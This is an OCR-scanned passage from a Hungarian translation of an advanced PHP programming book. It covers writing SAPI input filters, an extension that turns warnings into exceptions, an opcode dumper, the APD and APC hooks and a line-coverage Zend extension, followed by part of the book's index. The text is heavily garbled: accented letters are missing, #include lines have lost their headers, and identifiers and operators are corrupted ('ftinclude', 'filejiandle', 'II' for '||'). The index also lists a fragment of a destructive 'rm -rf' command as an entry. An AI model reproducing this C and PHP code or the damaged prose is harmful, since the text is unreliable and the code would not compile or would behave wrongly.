sokkal gyorsabbak lehetnek brmilyen PHP kdnl.

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye input_filter

641

A szrk leghasznosabbika a sapi_module_struct. input_f ilter nevet viseli - az itt bejegyzett fggvnyt alkalmazza a rendszer az adatokra, mieltt elhelyezn azokat a $_POST, $_GET s $_COOKIE autogloblisokban. Ezzel az input_f ilter lehetv teszi, hogy megtiszttsuk az adatokat, mieltt a felhasznli kd hozzjuk frne. A kvetkezkben egy olyan input_f ilter-t mutatunk be, amely a strip_tags () C fggvny segtsgvel eltvolt minden HTML kdot a POST, GET s COOKIE adatokbl. Fggvnynk valjban a PHP-vel kapott input_f ilter plda egy vltozata, igaz, nhny jabb kpessggel kiegsztve. Mkdse sorn ksztnk hrom j autogloblis tmbt - $_RAW_POST, $_RAW_GET s $_RAW_C00KIE -, ezekbe helyezzk a vltozk eredeti tartalmt. Ksbb a megtiszttott adatok bekerlnek a szabvnyos tmbkbe. gy a fejlesztk hozzfrhetnek az eredeti forrshoz is, de a szabvnyos tmbk mentess vlnak a HTML kdoktl. A bemeneti szrk a SPI indtsa utn lphetnek mkdsbe, jelen pldnk pedig egy modul alakjban ll rendelkezsre. Ez azrt nagyszer hr, mert gy nem kell hozznylnunk a SPI kdjhoz. Kezdjk a szabvnyos modulfejlccel. j autogloblis tmbjeink mindegyikhez egy globlis zval * mutatt hozunk ltre, amint az albbi kdban lthatjuk is:
#ifdef HAVE_CONFIG_H # include "config.h" #endif #include #include #include ftinclude #include "php.h" "php_globals.h" "php_variables.h" "ext/standard/info .h" "ext/standard/php_string.h"

ZEND_BEGIN_MODULE_GLOBALS(raw_filter) zval *post_array; zval *get_array; zval *cookie_array; ZEND_END_MODULE_GLOBALS(raw_f ilter) #ifdef ZTS tdefine IF_G(v) TSRMG(raw_filter_globals_id, zend_raw_filter_globals *, v) #else #define IF_G(v) (raw_filter_globals.v) #endif

642

PHP fejleszts felsfokon

ZEND_DECLARE_MODULE_GLOBALS(raw_f i11 er) unsigned int raw_filter(int arg, char *var, char **val, unsigned int val_len, unsigned int *new_val_len TSRMLS_DC) static void php_raw_filter_init_globals(zend_raw_filter_globals *globals) { memset(globals, 0, sizeof(zend_raw_filter_globals *) ) ; } PHP_MINIT_FUNCTION(raw_filter) { ZEND_INIT_MODULE_GLOBALS(raw_filter, php_raw_filter_init_globals, NULL); zend_register_auto_global("_RAW_GET", sizeof("_RAW_GET")-1, NULL TSRMLS_CC); zend_register_auto_global("_RAW_POST", sizeof("_RAW_POST")-1, NULL TSRMLS_CC); zend_register_auto_global("_RAW_COOKIE", sizeof("_RAW_COOKIE")-1, NULL TSRMLS_CC); sapi_register_input_filter(raw_filter); return SUCCESS; } PHP_MSHUTDOWN_FUNCTION(raw_filter) { return SUCCESS; } PHP_RSHUTDOWN_FUNCTION(raw_filter) { if(IF_G(get_array)) { zval_ptr_dtor(&IF_G(get_array)); IF_G(get_array) = NULL; } if(IF_G(post_array)) { zval_ptr_dtor(&IF_G(post_array)); IF_G(post_array) = NULL; } if(IF_G(cookie_array)) { zval_ptr_dtor(&IF_G(cookie_array)); IF_G(cookie_array) = NULL; } return SUCCESS; } PHP_MINFO_FUNCTION(raw_filter) {

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

643

php_info_print_table_start(); php_info_print_table_row( 2, "strip_tags() Filter Support", "enabled" ); php_info_print_table_end(); } zend_module_entry raw_filter_module_entry = { STANDARD_MODULE_HEADER, "raw_filter", NULL, PHP_MINIT(raw_filter), PHP_MSHUTDOWN(raw_filter), NULL, PHP_RSHUTDOWN(raw_filter), PHP_MINFO(raw_filter) , "0.1", S TANDARD_MODULE_PRO PERTIE S }; #ifdef COMPILE_DL_RAW_FILTER ZEND_GET_MODULE(raw_filter); #endif

Nos, ez javarszt szabvnyos modul - kt dologra azonban rdemes odafigyelnnk. Elszr is az albbi hvsra, mellyel az MINIT-ben j $_RAW tmbjeinkt autogloblisknt jegyezzk be: zend_register_auto_global("_RAW_GET", sizeof("_RAW_GET")-1, NULL TSRMLS_CC); Msodszor, szintn az MINIT sorn, az albbi hvssal jegyezzk be a raw_f ilter fggvnyt, mint SPI bemeneti szrt:
sapi_register_input_filter(raw_filter) ;

A bemeneti szr elzetes meghatrozsa gy fest: unsigned int raw_filter(int arg, char *var, char **val, unsigned int val_len, unsigned int *new_val_len TSRMLS_DC); A paramterek jelentse a kvetkez: arg-A feldolgozni kvnt bemenet tpusa (PARSE_POST, PARSE_GET vagy PARSE_COOKIE). var - A feldolgozni kvnt bemenet neve.

644

PHP fejleszts felsfokon

val - Egy mutat, amely a feldolgozand bemenetre irnyul. val_len- A *val eredeti hossza. new_val_len - A *val hossza a mdostsok utn - ezt majd a szr lltja be. De lssuk vgre a raw_f ilter bemeneti szr kdjt: unsigned int raw_filter(int arg, char *var, char **val, unsigned int val_len, unsigned int *new_val_len TSRMLS_DC)

zval new_var;
zval *array_ptr = NULL; char *raw_var; int var_len; switch(arg) { case PARSE_GET: if(!IF_G(get_array)) { ALLOC_ZVAL(array_ptr); array_init(array_ptr); INIT_PZVAL(array_ptr); zend_hash_update(&EG(symbol_table), "_RAW_GET", s i z eo f("_RAW_GET"), &array_ptr, sizeof(zval *), NULL); } IF_G(get_array) = array_ptr; break; case PARSE_POST: if(!IF_G(post_array)) { ALLOC_ZVAL(array_ptr); array_init(array_ptr); INIT_PZVAL(array_ptr); zend_hash_update(&EG(symbol_table), "_RAW_POST", sizeof("_RAW_POST"), &array_ptr, sizeof(zval *), NULL); } IF_G(post_array) = array_ptr; break; case PARSE_COOKIE: if(IF_G(cookie_array)) { ALLOC_ZVAL(array_ptr); array_init(array_ptr); INIT_PZVAL(array_ptr); zend_hash_update(&EG(symbol_table), "_RAW_COOKIE",sizeof("_RAW_COOKIE"), &array_ptr, sizeof(zval *), NULL); }

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

645

IF_G(cookie_array) = array_ptr; break;


}

Z_STRLEN(new_var) = val_len; Z_STRVAL(new_var) = estrndup(*val, val_len); Z_TYPE(new_var) = IS_STRING; php_register_variable_ex(var, &new_var, array_ptr TSRMLS_DC); php_strip_tags(*val, val_len, NULL, NULL, 0 ) ; *new_val_len = strlen(*val); return 1;
}

A raw_f ilter hvsakor megvizsglja, hogy ltezik-e a megfelel $_RAW tmb - ha nem, ltrehoz egyet. Ezutn hozzrendeli a *val eredeti rtknek msolatt ehhez a tmbhz. Vgezetl, a php_strip_tags () segtsgvel eltvoltja a *val-ban tallhat HTML kdokat (ez a PHP strip_tags () htterben mkd C fggvny), s meghatrozza a *val j (j esllyel kisebb) hosszt.
A treat data s a def aultpostreader

Az input_f ilter visszahvhat fggvny lehetsget ad a berkez vltozk mdostsra, de nem biztost teljes rltst a vltozk bevitelnek folyamatra. gy pldul segtsgvel nem gtolhatjuk meg egyes vltozk beillesztst, s nem mdosthatjuk nyers alakjuk feldolgozsnak mdjt. Ha ilyesmire is szksgnk van, a SPI tovbbi kt horoggal ll rendelkezsnkre: sapi_module_struct.treat_data sapi_module_struct.default_post_reader

A sapi_module_struct. treat_data fggvnyt a motor akkor hvja meg, amikor a nyers POST, GET, illetve COOKIE lekrdezsi karakterlncok feldolgozst vgzi. Az alaprtelmezett megvalsts kulcsrtk prokra bontja a nyers adatokat, megtiszttja ket a bejegyzett input_f ilter fggvnnyel, s rtkeiket a megfelel szimblumtblkba rja. A sapi_module_struct. def ault_post_reader feladata olyan POST adatok feldolgozsa, amelyek nem rendelkeznek hozzjuk rendelt tartalomtpus-kezelvel. Az itt alkalmazott alaprtelmezett mvelet egyszeren trja a teljes POST tartalmat a $HTTP_RAW_POST_DATA vltozba. Sajt sapi_module_struct .def ault_post_reader meghatrozsa akkor jhet szmtsba, ha bizonyos fjltpusok feltltst minden krlmnyek kztt meg szeretnnk akadlyozni.

646

PHP fejleszts felsfokon

Hasonlan az input_f ilter-hez, ezeket a visszahvsokat is bejegyezhetjk bvtmnyeinkben futsidben a sapi_register_treat_data (), illetve a sapi_register_def ault_post_reader () fggvnyekkel. Mindazonltal ezek meglehetsen klnleges cl fggvnyek - a legtbb esetben az input_f ilter megoldja minden gondunkat.

A Zend Engine mdostsa s bels vizsglata


A Zend Engine egyik legizgalmasabb felptsi sajtossga, hogy nyitott a mdostsokra s a bvtsre. Erre, a 20. fejezetben mondottak szerint, kt lehetsgnk van - a vltoztathat fggvnymutatk, valamint a Zend bvtsi API hasznlata. Furcsa mdon a motoron belli fggvnymutatk mdostsa nemcsak a vltoztatsok alkalmazsnak leghatkonyabb mdja, hanem egyttal egyszer PHP bvtmnyekben is elvgezhet. Emlkeztetknt lljon itt a Zend Engine ngy legfontosabb fggvnymutatja: zend_compile_f ile () - Ez a fggvny voltakppen a lexikai elemz, az rtelmez s a kdelllt burkolja. Feladata a fjlok lefordtsa, s vgl egy zend_op_array rtkkel tr vissza. zend_execute () A fjl fordtst kveten a kapott zend_op_array tmbt a zend_execute () hajtja vgre. Ltezik egy prja is, a zend_execute_internal, amely bels fggvnyeket hajt vgre. zend_error_cb - Ha a PHP-ben hiba trtnik, a rendszer ezt a fggvnyt hvja. zend_f open - Ez a fggvny valstja meg a fjlok megnyitst a motor szintjn. A kvetkezkben a motor ngyfle, fggvnymutatk trsval vgrehajtott mdostst mutatjuk be, majd rviden szt ejtnk a Zend bvtsi API nhny rszletrl.

Figyelmeztetsek helyett kivtelek


Sokan vgyakoznak arra, hogy az E_WARNING osztly hibi automatikusan kivtelt vltsanak ki, de kevss valszn, hogy ez a lehetsg valaha is megjelenik az alaprtelmezett PHP felptsben. Az elnyk nyilvnvalk, hiszen az objektumkzpont programozs megszllottjai gy hibaellenrzsi feladataikat kivtelellenrzssel oldhatjk meg. De mirt e pesszimista jvkp? Nos, azrt nem valszn, hogy ezt a lehetsget egy INI vltoz belltsval valaha is elrhetjk, mert ez szinte lehetetlenn tenn a kd rendszerek kzti tvitelt. Amennyiben az E_WARNING nem vgzetes hiba egyes rendszereken, mshol pedig egy try {} /catch{} blokkot kell alkalmaznunk az elfogsra, komoly gondokkal szembeslhetnk a kd terjesztsnl. Mindazonltal a lehetsg nem elvetend, s a zend_error_cb fellrsval knnyen megvalsthatjuk egy bvtmnyben. Az tlet egyszer - olyan fggvnyt kell ksztennk, amely kivtelt vlt ki.

23. fejezet SAPl-k ksztse s a Zend Engine bvtmnye

647

Mindenekeltt egy bvtmnyi vzra van szksgnk - me a kd:


#ifdef HAVE_CONFIG_H #include "config.h" #endif #include ttinclude #include #include #include "php.h" "php_ini.h" "ext/standard/info.h" "zend.h" "zend_default_classes.h"

ZEND_BEGIN_MODULE_GLOBALS(warn_as_except) ZEND_API void (*old_error_cb)(int type, const char *error_filename, const uint error_lineno, const char * formt, va_list args); ZEND_END_MODULE_GLOBALS(warn_as_except) ZEND_DECLARE_MODULE_GLOBALS(warn_as_except) #ifdef ZTS #define EEG(v) TSRMG(warn_as_except_globals_id,zend_warn_as_except_globals *,v) #else #define EEG(v) (warn_as_except_globals.v) #endif void exception_error_cb(int type, const char *error_filename, const uint error_lineno, const char * formt, va_list args); PHP_MINIT_FUNCTION(warn_as_except) { EEG(old_error_cb) = zend_error_cb; zend_error_cb = exception_error_cb; return SUCCESS; } PHP_MSHUTDOWN_FUNCTION(warn_as_except) { return SUCCESS; } PHP_MINFO_FUNCTION (warn_as_except) { } function_entry no_functions[] = { {NULL, NULL, NULL} };

648

PHP fejleszts felsfokon

zend_module_entry warn_as_except_module_entry = { STANDARD_MODULE_HEADER, "warn_as_except", no_functions, PHP_MINIT(warn_as_except) , PHP_MSHUTDOWN(warn_as_except), NULL, NULL, PHP_MINFO(warn_as_except), "1.0", STANDARD_MODULE_PROPERTIES
};

#ifdef COMPILE_DL_WARN_AS_EXCEPT ZEND_GET_MODULE(warn_as_except) #endif A munka rdemi rszt a PHP_MINIT_FUNCTION (warn_as_except) vgzi. A rgi hibakezel fggvny az old_error_cb-be kerl, a zend_error_cb pedig j fggvnynkre, az exception_error_cb-re mutat. A kivtelek kivltsnak C megvalstsrl a 22. fejezetben ejtettnk szt, gy az exception_error_cb szerkezete bizonyra ismers lesz: void exception_error_cb(int type, const char *error_filename, const uint error_lineno, const char * formt, va_list args)
{

char *buffer; int buffer_len; TSRMLS_FETCH() ; if(type == E_WARNING II type == E_USER_WARNING) { buffer_len = vspprintf(&buffer, PG(log_errors_max_len) , formt, args); zend_throw_exception(zend_exception_get_default() , buffer, type); free(buffer);
}

else { EEG(old_error_cb)(type, error_filename, error_lineno, formt, args);


}

return;
}

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

649

Ha lefordtjuk s betltjk a bvtmnyt, az albbi program... <?php try {


trigger_error("Testing Exception", E_USER_WARNING); } catch(Exception $e) { print "Caught this error\n"; } ?>

...ezt az eredmnyt adja:


> php test.php Caught this error

Opkdok kiratsa
A 20. fejezetben egy kirat segdprogram hasznlatval alaktottuk a Zend Engine bels kdjt emberi rtelmezsre alkalmass. Most megtanuljuk, hogyan kszthetnk magunk is ilyen programot. Az alapgondolat egyszer: fogjuk a zend_compile_f ile () -ti kapott zend_op_array tmbt, s formzzuk. Kszthetnnk bvtmnyi fggvnyt a fjl feldolgozsra s a kimenet kirsra, de okosabb tlet nll alkalmazst rni a begyazsi SPI hasznlatval. A 20. fejezetben lthattuk, hogy a zend_op_array az albbi alak zend_op elemekbl ll: struct _zend_op {
opcode_handler_t handler; znode result; znode opl; znode op2; ulong extended__value; uint lineno; zend_uchar opcode; };

Ahhoz, hogy ezeket rtelmezhet kdd alaktsuk, szksgnk lesz az opkdokhoz tartoz mveletek neveinek azonostsra, s ki kell rnunk az opl, op2 s result znode-okat. Az opcode rtkek mveleti nevekk alaktst sajnos magunknak kell elvgeznnk. A Zend forrsknyvtrban tallhat zend_compile. h fjlban egy csokornyi def ine sorolja fel e mveleteket. Nem nehz olyan programot ksztennk, amely egyetlen fggvnyben elvgzi a feldolgozsukat: char *opname(zend_uchar opcode)
{

650

PHP fejleszts felsfokon

switch(opcode) { case ZEND_NOP: return "ZEND_NOP"; case ZEND_ADD: return "ZEND_ADD"; case ZEND_SUB: return "ZEND_SUB"; case ZEND_MUL: return "ZEND_MUL"; case ZEND_DIV: return "ZEND_DIV"; case ZEND_MOD: return "ZEND_MOD"; /* ... */ default: return "UNKNOWN"; break; } }

break; break; break; break; break; break;

Szksgnk lesz mg fggvnyekre, amelyek kirjk a znode-okat s a hozzjuk tartoz zval rtkeket:
#define BUFFER_LEN 40

char *format_zval(zval * z )
{

static char buffer[BUFFER_LEN]; int len; switch(z->type) { case IS_NULL: return "NULL"; case IS_L0NG: case IS_B00L: snprintf(buffer, BUFFER_LEN, "%d", z->value.Ival); return buffer; case IS_DOUBLE: snprintf(buffer, BUFFER_LEN, "%f", z->value.dval); return buffer; case IS_STRING: snprintf(buffer, BUFFER_LEN, "\"%s\"", php_url_encode(z->value.str.val, z->value.str.len, &len)); return buffer; case IS_ARRAY: case IS_0BJECT: case IS_RESOURCE: case IS_CONSTANT: case IS_CONSTANT_ARRAY: return "" ; default: return "unknown"; } }

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

651

char *format_znode(znode *n) { static char buffer[BUFFER_LEN]; switch (n->op_type) {

case IS_CONST: return format_zval(&n->u.constant); break; case IS_VAR: snprintf(buffer, BUFFER_LEN, " $ % d " , n->u.var/sizeof(temp_variable)) ; return buffer; break; case IS_TMP_VAR: snprintf(buffer, BUFFER_LEN, " ~ % d " / n->u.var/sizeof(temp_variable)) ; return buffer; break; default: return ""; break;
} }

A f ormat_zval fggvnyben nyugodtan elfeledkezhetnk a tmbkrl, az objektumokrl s az llandkrl, mivel ilyen tpusok nem jelennek meg a znode-okban. E segdfggvnyek burkoljaknt kszthetnk egy fggvnyt a teljes zend_op kirsra: void dump_op(zend_op *op, int num)
{

printf("%5d %5d %30s %0 40s %040s % 0 40 s \ n " , num, op->lineno, opname(op->opcode) , format_znode(&op->opl), format_znode(&op->op2), format_znode(&op->result)) ;
}

Kvetkez fggvnynk feladata a zend_op_array bejrsa s az opkdok kirsa sorrendjknek megfelelen: void dump_op_array(zend_op_array *op_array)
{

if(op_array) int i ;

printf("%5s %5s %30s %040s %040s %040s\n", "opnum", "line", "opcode", "opl", "op2", "result");

652

PHP fejleszts felsfokon

for(i = 0; i < op_array->last; i + +) { dump_op(&op_array->opcodes[i] , i); } } }

Vgl kssk ssze mindezeket a main () eljrssal, ami lefordtja a programot s kirja a kapott eredmnyt: int main(int argc, char **argv)
{

zend_op_array *op_array; zend_file_handle file_handle; if(argc != 2) {


op_dumper <script>\n"); printf("usage: return 1;

} PHP_EMBED_START_BLOCK(argc,argv); printf("Script: %s\n", argv[l]); file_handle.filename = argv[l]; file_handle.free_filename = 0; filejiandle.type = ZEND_HANDLE_FILENAMB; file_handle.opened_path = NULL; op_array = zend_compile_file(&file_handle, ZEND_INCLUDE TSRMLS_CC); if(!op_array) { printf("Error parsing script: %s\n", file_handle.filename); return 1; } dump_op_array((void *) op_array); PHP_EMBED_END_BLOCK(); return 0; }

Ha a kdot a korbbiakban ltott psh-hoz hasonlan lefordtjuk, teljes opkdlistkat kszthetnk programjainkbl.

APD
A 18. fejezetben megtanultuk, miknt hasznlhatjuk az APD-t a PHP kd profiljnak elksztsre. Itt valjban egy Zend bvtmnyrl van sz, ami a zend_execute () burkolsval lehetv teszi a fggvnyhvsok idtartamainak mrst.

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

653

Az APD az MINIT rszben fellrja mind a zend_execute () , mind a zend_execute__internal () fggvnyt, s helyettesti azokat sajt apd_execute () s apd_execute_internal () fggvnyeivel. Lssuk az APD elkszt fggvnyt: PHP_MINIT_FUNCTION(apd) { ZEND_INIT_MODULE_GLOBALS(apd, php_apd_init_globals, php_apd_free_globals); old_execute = zend_execute; zend_execute = apd_execute; zend_execute_internal = apd_execute_internal; return SUCCESS;
}

Mind az apd_execute (), mind az apd_execute_internal () rgzti a hvott fggvny nevt, helyt s a hvs idejt, majd ezt kveten a vgrehajtshoz a mentett vgrehajt fggvnyeket alkalmazzk. me a kt fggvny kdja: ZEND_API void apd_execute(zend_op_array *op_array TSRMLS_DC)
{

char * fname = NULL; fname = apd_get_active_function_name(op_array TSRMLS_CC); trace_function_entry(fname, ZEND_USER_FUNCTION, zend_get_executed_filename(TSRMLS_C), zend_get_executed_lineno(TSRMLS_C)); old_execute(op_array TSRMLS_CC); trace_function_exit(fname); efree(fname);
}

ZEND_API void apd_execute_internal(zend_execute_data *execute_data_ptr, int return_value_used TSRMLS_DC)


{

char * fname = NULL; fname = apd_get_active_function_name(EG(current_execute_data) ->op_array TSRMLS_CC); trace_function_entry(fname, ZEND_INTERNAL_FUNCTION, zend_get_executed_filename(TSRMLS_C), zend_get_executed_lineno(TSRMLS_C)); execute_internal(execute_data_ptr, return_value_used TSRMLS_CC); trace_function_exit(fname); efree(fname); }

654

PHP fejleszts felsfokon

A kt fggvny alapja ugyanaz - elszr az apd_get_active_function_name () segdfggvnnyel azonostjk a hv fggvny nevt. Ezutn kvetkezik az APD trace_function_entry () fggvnye, amely az APD naplz rendszere segtsgvel adatokat jegyez fel a fggvnyrl, kztk a hvst tartalmaz fjlt s sort. Ezek utn az APD a PHP alaprtelmezett vgrehajt fggvnyvel meghvja az tadott fggvnyt. Ha ennek futsa vget rt s a fggvny visszatrt, az APD meghvja a trace_function_exit () -et. Ez az APD napljban rgzti a fggvnyhvs vgt. Mindemellett a rendszer trolja a legutbbi fggvnyhvs ta eltelt idt is, ami a profilkszts alapfelttele. Az APD lnyegt megismertk, a tbbi rszletkrds.

APC
Az APC hasonlan mkdik az APD-hez, csak kiss sszetettebb mdon. Alapjul a zend_compile_f ile () fellrsa szolgl - az alaprtelmezs helyett egy olyan fggvnyt kapunk, mely kpes jrakiosztani, trolni s kiolvasni a kapott zend_op_array-t az osztott memriabeli gyorstrbl.

A Zend bvtmnyek visszahvhat fggvnyei


A Zend bvtmnyek ppen olyanok, mint hagyomnyos trsaik, eltekintve attl, hogy az albbi meghatroz szerkezetet valstjk meg: struct _zend_extension { char *name; char *versin; char *author; char *URL; char *copyright; startup_func_t startup; shutdown_func_t shutdown; activate_func_t activate; deactivate_func_t deactivate; message_handler_func_t message_handler; op_array_handler_func_t op_array_handler; statement_handler_func_t statement_handler; fcall_begin_handler_func_t fcall_begin_handler; fcall_end_handler_func_t fcall_end_handler; op_array_ctor_func_t op_array_ctor; op_array_dtor_func_t op_array_dtor; int (*api_no_check)(int api_no); void *reserved2; void *reserved3; void *reserved4; void *reserved5;

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

655

void *reserved6; void *reserved7; void *reserved8; DL_HANDLE handl; int resource_number;
};

A startup, shutdown, activate s deactivate fggvnyek ugyangy viselkednek, mint az MINIT, az MSHUTDOWN, az RINIT, valamint az RSHUTDOWN. Ha egy adott tpus kezelt a fordts kzben bejegyznk, a motor opkdokat helyez a megfelel pontokra, melyek meghvjk a kezelt, ha a program futs kzben elri ket. A Zend bvtmnyek visszahvhat fggvnyei kzl egyrtelmen a statement_handler a leghasznosabb. Ez a fggvny a hv program minden utastsa vgn elhelyez egy j opkdot. E mdszert jl alkalmazhatjuk soronknti profilkszts, lpsenknti hibakeress, vagy kdelemz segdeszkzk esetn. Ezen alkalmazsoknak ugyanis kzs tulajdonsguk, hogy minden, a PHP ltal vgrehajtott utastsrl adatokat kell gyjtenik, illetve ezek alapjn kell cselekednik. Az albbi statement_handler megvalsts az stderr-re rja ki az sszes vgrehajtott utasts sornak szmt s a hozz tartoz fjl nevt: void statement_handler(zend_op_array *op_array)
{

fprintf(stderr, " % s : % d \ n " , zend_get_executed_filename(TSRMLS_C) , zend_get_executed_lineno(TSRMLS_C));


}

Bejegyzshez be kell csomagolnunk az albbi keretbe:


#ifdef HAVE_CONFIG_H #include "config.h" #endif #include #include #include #include #include "php.h" "php_ini.h" "ext/standard/info.h" "zend.h" "zend_extensions.h"

void statement_handler(zend_op_array *op_array) { fprintf(stderr, "%s:%d\n", zend_get_executed_filename(TSRMLS_C), zend_get_executed_lineno(TSRMLS_C)); }

656

PHP fejleszts felsfokon

int call_coverage_zend_startup(zend_extension *extension) { TSRMLS_FETCH(); CG(extended_info) = 1; return SUCCESS; } ttifndef ZEND_EXT_API #define ZEND_EXT_API #endif ZEND_EXTENSION();

ZEND_DLEXPORT

ZEND_DLEXPORT zend_extension zend_extension_entry = { "Simple Call Coverage", "1.0", "George Schlossnagle", "http: //www. schlossnagle . org/~george",
ii n

call_coverage_zend_startup, NULL, NULL, NULL, NULL, // message_handler_func_t NULL, // op_array_handler_func_t statement_handler, // statement_handler_func_t NULL, // fcall_begin_handler_func_t NULL, // fcall_end_handler_func_t NULL, // op_array_ctor_func_t NULL, // op_array_dtor_func_t STANDARD_ZEND_EXTENSION_PROPERTIES
};

Ezutn a fordts ugyangy trtnik, mint egy rendes PHP bvtmnynl. Figyeljk meg, hogy az indt fggvny belltja a CG (extend_inf o) -t - enlkl a motor nem kpes elkszteni a kezelk mkdshez szksges bvtett opkdokat. Vgezetl, bejegyezzk bvtmnynket a php. ini fjlban:
zend_extension=/full/path/to/call_coverage.so

Ezek utn, ha az albbi programot vgrehajtjuk... <?php $test = 1; i f( $ t e s t ) { $counter++;


}

23. fejezet SAPI-k ksztse s a Zend Engine bvtmnye

657

else { $counter ; } ?>

...ezt a kimenetet kapjuk: /Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:2 /Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:3 /Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:4 /Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:10

Hzi feladat
A korbbi fejezetekben megszokhattuk, hogy itt a Tovbbi olvasmnyok cmsz kvetkezik - a SAPI-k s a Zend bvtmnyek ksztsrl szl rendszeres lersok hinyban azonban itt sajnos nem nagyon volna mit felsorolnunk. Magn a kdon kvl nem igazn ajnlhatunk ms nyilvnos forrst e tren. Ezrt ht inkbb fejlesszk magunk eddig megszerzett tudsunkat az albbi hzi feladatok megoldsval: gyazzuk be a PHP-t kedvenc szvegszerkesztnkbe. Egsztsk ki a psh-t gy, hogy viselkedse jobban emlkeztessen egy megszokott hjra (pldul, hogy a futtathat fjlokat a parancssorbl indthassuk, s megtalljuk azokat a rgztett tvonalakon, valamint kezeljen be- s kimeneti folyamokat). Ksztsnk kimeneti gyorstrat, amely a Zend Performance Suite-hoz hasonlan beburkolja a zend_execute () fggvnyt gy, hogy a beemelt fjlok, a fggvnyek s ms egyebek kimenett trolhassuk a nekik tadott paramtereknek megfelelen. rjuk t a code_coverage Zend bvtmnyt gy, hogy a soronknti futsidt kls fjlba rja. Ezutn ksztsnk egy olyan segdprogramot, amely kiegszti az eredeti programot a soronknti futtatsok szmval s a mrt futsi idkkel. rezzk jl magunkat!

Trgymutat
* jel 25 #! jells 129 #ifdef 166 $_COOKIE 116, 364 $_GET 116, 132, 365 $_POST 132 $_SERVER['PHP_SELF] 165 $_SERVER['PHP_AUTH_PW] 351 $_SERVER['PHP_AUTH_USER'] 351 $_SERVER[REMOTE_IP] 358 $_SERVER[USER_AGENT] 359 $_SESSION 387 $argv 132, 134 $cache_handler_func tulajdonsg 123 $CACHEBASE 290 $copy 40 $created 361 $dbh 47 $expiration 364 $GALLERY_BASEDIR 229 $known_user 10 $name 10, 113 $obj 40 $options 137 $params tmb 119 $php_errormsg 80 $pid 137 $regex 132 $security tulajdonsg 122 $security_settings tulajdonsg 122 $smarty vltoz 116 $smarty->cache_lifetime 120 $status 137 $suite 164 $template 124 $text 120 $that 40 $this 36, 38, 40, 315 $userid 36l $variabel 74 $variable 74 $version 36l $warning 364 .m4 547 .m4 utastskszlet 547 .php 129 // jelek 25 /custom-error.php 78 /etc/hosts 217 /usr/local/bin 129 : jel 46 :retab parancs 7 jel 79 access 31 author 27 package 27 pram 27 return 27 var 27 [-d] 155 [-f] 155 [-n] 155 __ callO 39, 68, 149 __ cloneO 39, 40 __ constructO 34, 39 __ destructO 39 __ FIL__ 165 __ get() 39, 55, 61, 63 __ setO 39, 55, 61, 63 _decrypt 364, 371 _encrypt 364, 371 _END_ 13 _fetchInfo 31 _package 364 _unpackage 364 'rm -rf P- 230

660

PHP fejleszts felsfokon

<?- ?> 23 <?php ech ?> 23 <binding> cmke 442 <GetQuote> 440 <portType> cmke 442 <service> cmke 442 <symbol> 440 -> jells 36 200 Server OK 152 200-as kd 299 304 Not Modified vlasz 250 403 Forbidden zenet 373 404 Object Not Found 295 404-es hiba 298 500-as hibakd 78 80 karakter 8 A, ab 459 abbaO 51 abszolt elrsi t 165 absztrakt osztly 51 accumulator array 310 activate 630 ad hoc lekrdezsek 332 Adapter 41 Adaptor 41 adatbnysz lekrdezsek 331 adatbzis 8, 323 adatbzis teljestmnye 240 adatbzis-bvtmny 47 adatbzis-elrsi mintk 331 adatbzis-illesztprogram 54 adatbzis-kapcsolat 39, 77 adatbzis-kezel rendszer 323 adatbzis-lekrdezs 42 adatbzis-lekrdezs trolsa 259 adatbzismezk hossza 104 adatbzisok mretezse 417 adatbzisok optimalizlsa 324 adatbzisrekordok 21 adatbzis-szerkezet 335 adatelrs 331 adatrvnyests 103, 231

adatferttlents 230 adatkvetkezetessg ellenrzse 73 adatok 34 adatok kldse 130 adatok sszhangja 285 adatok trolsa felhasznli krelmek kztt 259 adatrejts 37 adatszemt 103 addListenerO 175 addslashesO fggvny 380 addTest 164 addTestSuiteO 168 AdminUser 37 Adrin Cockroft 464 Advanced PHP Debugger 467 AES 391 gak 205, 264 gaztats 205 ageO 37 aggresszv takarts 39 Ahmdahl trvny 511 aktv rekord minta 333 aktulis knyvtr 165 alacsony ksleltetsi idej kapcsolat 242 alacsonyszint nyelvek 228 alhzs 19 alaprtelmezett adatok 124 alaprtelmezett kivtelkezel 100 alaprtelmezett paramterlista 135 alaprtelmezett tulajdonsgok 596 alapfggvnyek 227 alapmvelet 516 alapszint naplzs 330 alarm 142 alias 9 alkalmazs-programozsi fellet 24 alkalmazstesztels 160 alkalmazsszint protokoll 350 llam 104 lland idej mvelet 308 llandk 16

Trgymutat

661

llandk talaktsa 239 llandk meghatrozsa 573 llapot hinya 349 llapot nlkli protokoll 349 llapotadatok 349 llapotautomata 13 llapotjelz stik 285 llapotobjektum 352 llapotok 377 allow_url_fopen 230 ltalnos catch blokk 90 ltalnos gyengesgek feldertse 477 Alteon 425 alternatv fellet 42 AltException osztly 87 alulrl felfel irnyul mdszer 480 alulrl felfel tervezs 221 always_populate_raw_post_data bellts 430 Amazon webszolgltatsok 446 Amazon.com 446 Andrew Hunt 231 AOL 285 Apache 78, 131, 144, 217, 242, 295, 353, 630 Apache 1.3 245 Apache 2 245 Apache modulok 217 apache_hooks 353 ApacheBench 459 APC 237, 533, 654 APD 467, 652 apd.dumpdir 468 API 24 API dokumentci 25, 26 archvum 215 argumentum 49, 132 argumentumok sorrendje 229 ArrayAccess fellet 66 ASCII karakter 320 assert 170 assertTrue 171 aszimmetrikus algoritmus 360

